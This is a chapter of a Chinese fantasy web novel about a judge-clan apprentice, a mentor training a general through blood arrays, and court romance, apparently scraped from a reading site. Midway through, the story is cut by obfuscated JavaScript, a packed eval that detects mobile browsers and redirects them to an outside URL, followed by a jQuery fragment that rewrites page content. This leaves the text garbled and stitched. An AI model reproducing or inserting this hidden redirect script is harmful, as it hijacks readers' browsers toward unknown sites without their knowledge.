27.秋实
作品:《春秋二记》 寒瑟世境中,一枚枯叶蝶起于秋林枝梢。辛酿从其下走过,回到暗虚司衡之职的镇守之地。历代司衡需要居住在这般枯寂之地的原因,说来也并不复杂。因为初代王尊盛虚在位时,已经深刻认识到,偏心之害。
盛虚道是:“人的心本来就生的偏,如果再不理智,必将致我族于倾覆。”
因此,暗虚们都希望,掌管判案刑狱的司衡,绝对理性、绝对公平。但作为一个情深义重的氏族,暗虚们倒也很清楚,想要绝对无情,是不可能的。唯一的办法,便是压抑天性。
所以暗虚的历代司衡,皆是从小培养。三四岁左右,刚懂得人事,便被抱来寒瑟秋山的司衡世境中,由上一任司衡教养成人。而当小司衡长大成人后,他的师父便可以退位,去过普通暗虚的生活。
当然,也有喜爱这般平静世境的前辈司衡,便一直隐居在深山秋烟中。辛酿不会去打扰,前辈也不愿被打扰。于是相安无事,只当彼此不存在。
因为辛酿与舒蝶祈终身大事已定,所以辛酿便要开始陪养小徒弟了。这也是两人前几天闹矛盾的根本原因,舒蝶祈埋怨老婆:“你怎么不早培养!我们都认识多少年了!”现在就想抱美人归了,还要他再等二十年。
辛酿虽觉理亏,但仍然秉承司衡有什么说什么的派头,直言道:“那时我还没得喜欢上你。”
舒蝶祈捂住碎掉的心。
辛酿愣了一会,走上前摸摸舒蝶祈的小心心。就...又傻又可爱的。舒蝶祈只得偃旗息火。但毕竟咽不下这口气去,于是就开始拿葱花找事。正好没两天终焉的调令来了,舒蝶祈直接从王庭的樱桃殿一声不吭地卷铺盖走人了。
辛酿消沉了四五天,终焉看着不是事儿,赶紧一块打发去盛盛稷,还道:“等你回来上值,我就将徒弟送去寒瑟秋林的明水处等你。”
于是辛酿还算心情好地回来上值了,一回来便先去约定的桔子桥堂处找小徒弟。橘花桥头,终焉已经怀抱小孩,亲自等候了。
辛酿快步走去,轻柔接过襁褓。怀里的宝宝正在熟睡,生就沉默而规矩的眉眼。这是用辛酿的血造就的暗虚,一如辛酿传承自辛氏先祖的血脉。
终焉问:“...需要我给‘撰’也准备一个...嗯,小七吗?”
辛酿一下抬头看他。
终焉笑了,摆手道:“好了,我不问了。”便就牵过黑马,笑道:“孩子送到了,我先走了。”
辛酿哼笑一声,温柔地亲亲小撰的额心,道:“滚罢。”
终焉便就上马,提缰时,瞥到辛酿银冠上的簪花。如此清新美丽、自然舒适的风格,也只有自家小七的手笔能改造的出了。终焉不禁一笑,便就催马而去,抬头看见树枝上生长出的各色果实种子——虽然仍然是枯寂的棕色,但是这已经足够证明,辛酿已经不适合再担任司衡之职了。
一如许多年前,父亲牵着小小的自己来到这处秋山寒林间。树梢同样是如此的种果丰美。七岁的辛酿抬头看向秋林,对他道:“这是师父的。”
“嗯。”终焉坐在干枯的树根上,仰头看向枝头玫瑰形状的松塔,神往道,“好美啊。我跟你一块捡秋玩吧?”
辛酿直接拒绝道:“我不玩。”
终焉真的很想说,你也太无趣了吧。但出于礼貌和可怜,终焉什么都没有说。只是自顾自地跳下树根,将各色各样的栗子、麻栎、花榈、山百果兜在衣摆里,笑盈盈地跑回来,一股脑地洒在辛酿的手里。
辛酿错愕地看着他,没有去接,任由果实噼里啪啦地落地。
终焉也只是笑笑,没有说什么。发觉玩伴委实无趣,也只安静地坐在一块,等父亲和司衡谈完事情,领自己回家。
过了很久,辛酿突然道:“不知道..我什么时候才可以,有这么好看的果实种子。”
终焉笑:“刚才我给你,你不要呀。”
辛酿摇摇头,有些固执道:“我不要别人给的。我要自己生长出来的,秋林种子。”
——那么现在,你终于有了。
终焉策马在寒瑟的秋林中,微笑而想。
——你有了等待和思念的人。
——等着来接你回家的人。
——他一直在准备着无数的美好,要将你的世界点缀得美丽缤纷。
盛稷皇城总算迎接回来主人。
在竹林中检查完家庭作业,听东衡谈及今后的打算,妄赞同道;“确实应该如此。不然再过三五十年,他丰功伟绩,你一事无成,早晚沦为笑柄。”便开始下一步教学计划,训练东衡对战血的控制和使用。
妄道:“鲁朴氏的力量虽然雄厚,但也不是没有力竭而亡的情况。对一场战争而言,动辄三五天、三五月。耐力很多时候,会起到决定性作用。”
东衡一眼扫去,察觉这四五天期间,妄将竹枝图阵搭建得愈发精密坚固。怕是帝無不慎踏入其中,出来都甚是艰难。便依妄所言,开始仔细操控力量,慢慢理顺图阵。
妄看得眉头直皱:“这么慢!若是对阵时你遇上我,连半刻都撑不到!”
东衡面上燥热,忙屏气凝神,咬牙加快速度。但难免战血失控,不时冲破竹枝,一路走得坑坑洼洼。而今愈与妄接触,愈觉得与师父实力差距不啻天壤。
妄也直言道:“你莫以为这阵是我用了四五天搭的,这是我趁你们午饭的时候搭起的——这还不是我力量全盛的时候,当年只需片刻。”
“现在是方和悬几个勉强撑着云华的外防战力,”妄凝视在竹枝中游走的蓝盈盈的战血气息,慢慢道,“但我觉得他俩也撑不住多少年,毕竟战力如我和無,在虚无中也只是沧海一粟。”
“玄鸟乌衣将来必定上位,到时你也免不了要为他出外战。遇到跟我们几个实力差不多的虚无,你如果战死,玄鸟乌衣将要如何?”
东衡:“......”
东衡无暇顾及,一言不发地继续注入战血的力量。真到战场上,哪还有心思顾及儿女情长。将军便是将军,马革裹尸也是注定的归宿。他不介意,玄鸟乌衣也...玄鸟乌衣必须得接受。
妄发现,东衡的神情纹丝不动,只凝神在走阵上。妄沉默了,半晌道:“如果...玄鸟乌衣在生死之间,你会在战场上回头吗?”
东衡微微垂眸,而后坚定摇头,目光只是专注前路,道是:“不会。我们都有责任。”真到那一天,他的责任便是誓死守住云华的边疆,而不是守住玄鸟乌衣的性命。
妄温声道:“那就守住你的责任罢。不要像我,性命也好、责任也好,诞生那一刻,就都已经被决定了。”而后按上东衡的肩膀。
东衡忽然觉得战血的推进轻松许多。妄说:“或许,你不该走我的路。这是我最后一次,带你走我为你搭建的图阵。今后,你来搭建图阵,在实战中进步吧。看好了——”
刹那之间,东衡只觉血液为之抽空,强劲的心脏都为之一空,几乎闭过气去。鲁朴氏的龙篆图阵都是灌注自己战血中的力量的,但是这个强大的图阵——虽然东衡在回程时的书写中多有练习,而今也只能感觉——要死了。
不知过了多久。
妄一把接住倒下的东衡,破觉无奈地看看弱小的徒弟,对惊骇赶来的玄鸟乌衣道:“太弱了。我将这个保命用的篆阵,用战血刻在了他的心脏里。”
玄鸟乌衣:“...啊。”走上前,有些不确定地接过苍白的东衡,“他,他还好吗?”
妄似乎是笑了,淡淡道:“很好。这个篆阵的用处,便是锁住他的魂魄。”
玄鸟乌衣眉头一挑,妄微微笑道:“便是如你所想,是我当年用来保命的方法。他的家庭作业完成得不错,我便以此来奖励他。今后无论遇到如何性命攸关的险境,只要他不想死,这篆阵便能护住他的魂魄不散。之后你再用什么方法,都是你的事情了。”
玄鸟乌衣不禁笑,揽紧东衡,无比感激道:“多谢。”
妄温声道:“今天的授课便到这里,你先带他回去,休息两天罢。之后的授课内容,便不是而今这么简单,而是要他自己搭建了,每天都会更累。所以现在,先好好休息。”
玄鸟乌衣便恭敬拜谢,俯身抱起东衡回妃丽殿了。
行至中途,东衡悠悠醒转过来:“...玄鸟乌衣...”
“嗯。”玄鸟乌衣笑应了。便将妄的小红花复述解释了一遍。
东衡不禁笑一声,越过玄鸟乌衣的肩头,望向远处的竹林。而妄已经不见了。东衡无力道:“他...他问我,如果你在生死之间,我...会不会,回军救你。”
玄鸟乌衣低头而笑道:“应该不会。”
东衡盈蓝的眸子地看向他,实在是虚弱不已,一句话也说不出来。
玄鸟乌衣叹道:“但他会。”
“你这几天不在宫里。我和程姊闲来无事,翻箱倒箧地八卦关于他历代转世的记载。程姊...好像爱上他了。”
东衡蹭地按住玄鸟乌衣的肩膀,睁大眼睛看着他,大祸临头地直着嗓子道:“什么——”
“愿没怎么着她吧?!”
玄鸟乌衣也很无奈,“我也很意外。但应该只是粉丝对偶像的感情,没到真情实感的地步。”
“愿大人反应还算良好,就是趁我们不在,偷偷跑去长秋宫踹了四五次门。我俩在墙上的桃花枝里听墙角,就听愿在发脾气,骂咱们师父是狐狸精,阴魂不散勾引小姑娘。多大年纪了,造不造孽吧啦吧啦...”
“而咱们师父只是微微挑眉,道是与程姊只有几面之缘,不想淑贤公主竟已生情。听闻阿衡你也在暗中给程姊寻觅良人,他也有意。既然如此郎情妾意....”
“然后愿就将他狠狠扑进了宫里。我俩什么都听不到、看不到了。”
“程姊么...咳,阿衡,你回宫后没听到什么绯闻吧?”
东衡看他一眼。玄鸟乌衣挺直胸脯,目光坦荡。东衡说句实话,真不愿往龌龊里想。但这小子实在是黄鼠狼喊有偷鸡的——贼喊捉贼。
东衡缓缓问:“是不是你为了转嫁绯闻,故意将程姊往妄那里引的?她怎么着你了?”
玄鸟乌衣:“......好阿衡,”诚恳道,“有些事情,不是我设套,就会有人上钩的。上钩的人,自己也有问题。”
东衡真是觉得,这反咬一口的PUA话术真是好熟悉啊。去年在去榆庭看小鸦的路上,这小子不也也是这么说话,活生生把他气到吐血么。什么叫江山易改,本性难移!
东衡毫不留情地给他两拳,让他反省反省。特意指挥他先去长春殿,看看程词现在什么情况。结果俩人还没走到地方,就凭借过人的眼力,远远看到花枝斑斓里,程公主彩衣绣裙地在宫檐上架起望远镜,笑得花枝烂漫。
“......”玄鸟乌衣委委屈屈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505540|154016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东衡不大确定,看看他,再轻轻地给他两下。再转头看向长春殿,程淑妃高兴地直拍手叫好。
东衡捂住脸,低声道:“走。快走。是我误会你了。”
玄鸟乌衣:“嘤...”
东衡已经顾不上分辨他是不是装腔作势了,只想找个旁人看不着的地方,赶紧安慰安慰自家受欺负的小宝贝。
便在冬桃殿后的柿子影墙下,两人拥吻在一处。半晌,玄鸟乌衣揽住体力不支的东衡的腰,一并坐在倒映青青枝叶的方池边。
东衡看看笑得眉眼弯弯的坏小子,叹笑一声,抬手揽住玄鸟乌衣的肩,偎在他颈下,闭眼温声道:“我以往做禹杏太守的时候,定例是每两年去一次云川泉都朝拜。”
玄鸟乌衣轻轻嗯了一声,揽住怀里的爱人。东衡却是笑,温声道:“这些都与你无关。我是想起一个故交——叶庆生。”
“你知道清棠的蓝水么?”
“清棠十六方,乃是删丹、灞陵、蓝水、粟邑、[禾了]淓、丰颂、天水、琴川、随岚、扶风、莲勺、商衡、秭归、邕歌、甘鹿、柴桑。”玄鸟乌衣回想道,“蓝水,应该是云川泉都与莲勺之间的一方,南边接壤的便是商衡。”
“嗯..”东衡笑,温声道,“叶女先生,是蓝水的一个养玉人。”
未曾听闻这等名号,玄鸟乌衣不禁好奇:“是问采氏吗?可听名字,像是神木氏的后裔?”
东衡不禁笑,抚摸上小玄鸟的柔软脸庞,珍重爱惜道:“这两天我写信拜托她,给你选几个好玉佩戴。你去商衡观礼,正好顺便戴着。”
玄鸟乌衣不禁笑。
东衡便继续笑道:“你知道,有许多玉石,都是□□等的水准,唯独运气不好,会多一道裂、或是有浅浅的皮纹,不成十分。所以玉雕师们虽然大叹可惜,也没有办法。”
“叶先生便是护养这些玉的。她有方法,让这些美玉重新长好。”东衡笑道,“所以清棠和盛稷许多有名的玉雕师傅,都与叶家关系很好。逢年过节,便送她些雕琢好的巧夺天工的美物,而她则以美玉还礼——你知道,清棠不使用金钱,都是以物换物的。”
“为展示这些大师的匠心之作,她还专门在槭花庄设了一个展厅,确实是琳琅满目,观者无不称善。”
“我想,其中一定有适合你的玉佩。便是没有,我再请她找清棠最好的玉雕师父,给你加急订制两三块也好。总归呢,”东衡笑着理顺他的衣襟,“让我的袨袀漂漂亮亮地去清棠观礼才好。”
玄鸟乌衣不禁眉眼生笑。
东衡笑看哄好的小玄鸟,按上他心之所在:“我也想做你的养玉人。好好养你这块美玉。”
玄鸟乌衣:“......”
玄鸟乌衣低头便笑了:“急着要走呢,还说要养我。”抱紧怀里的阿衡,叹笑道:“我懂你的意思了。等跟妄学成,我放你去鲁朴氏应卯。”
东衡不禁笑,温然道:“那么,从今天开始,盛稷朝中事情,我就完全转交给你了。”
玄鸟乌衣对此说不上什么感觉,虽然盛稷于他而言早晚是囊中之物,但是如此轻飘飘地完全到手,总有种过于轻松的不真实感。
太轻松了。
即便而今归属于他的大荒,当年帝無交付给他时,他也觉得压力山大。因为养父既不信任,又有防备,还觉得如此这般的不合适,让祈哥来监管他。
如今...玄鸟乌衣笑,也只寻常说:“好。”
“你只专心跟妄学本事,尽快去鲁朴氏应卯便是。”
东衡不放心地摸摸他的眉眼。玄鸟乌衣笑了一笑,想了想,问道:“阿衡,你知道去哪应卯么?徵老爷子应该没有对你讲过?”
东衡尴尬了下。玄鸟乌衣笑道:“无妨。我给春秋尊上写封信,届时会有鲁朴氏的族人前来接你。”
“虽然在各处天裂都有鲁朴氏,但是鲁朴氏真正的核心元老,都在帝無以往的宫殿里。”
东衡讶异。
“因为...以往,他算是云华最大的威胁。”玄鸟乌衣默然道,“所以他对鲁朴氏下令,如果一旦发现他彻底失控,便直接格杀勿论。”
玄鸟乌衣有些受不住地闭眼道:“他对别人狠...对自己也更狠...”
“重泉宫那些春秋万年的鲁朴氏,不是他的守将,而是他的——行刑者。”
“阿衡,阿衡,你知道吗?”东衡捧住埋在手心里的小玄鸟,听他终于称唤帝無道:“我的养父...千万年里,他不能离开重泉宫,他从不曾允许自己轻易离开重泉宫,就怕自己失控...而没有人能及时杀死他....”
“翎姨与他赌气分居,自己来澜沧竹海的彤华宫住...他才给了自己一个理由,能每天傍晚短暂地离开那处重重深暗的宫阙,来看看他创建出的美丽的云华...”
重泉宫里,小小的玄衣帝子正正经经地站着,仰头看向高大巍峨的父亲,奶声奶气地心疼地问:“爸爸,帝王——就一定要如此自苦吗?”
帝無隐隐笑了。温声回答:“是啊。”
“帝王,就要时时刻刻地规正自己。不然,怎么让人安心追随你。”
东衡不知道他发现没有。手心里,已然盈满湿热的泪水。顺着指间的缝隙,不住地滴流在温柔的水里,泛起涟漪。
我原本以为恨他。时到而今。玄鸟乌衣泣不成声。我才知道,我原来一直很想他。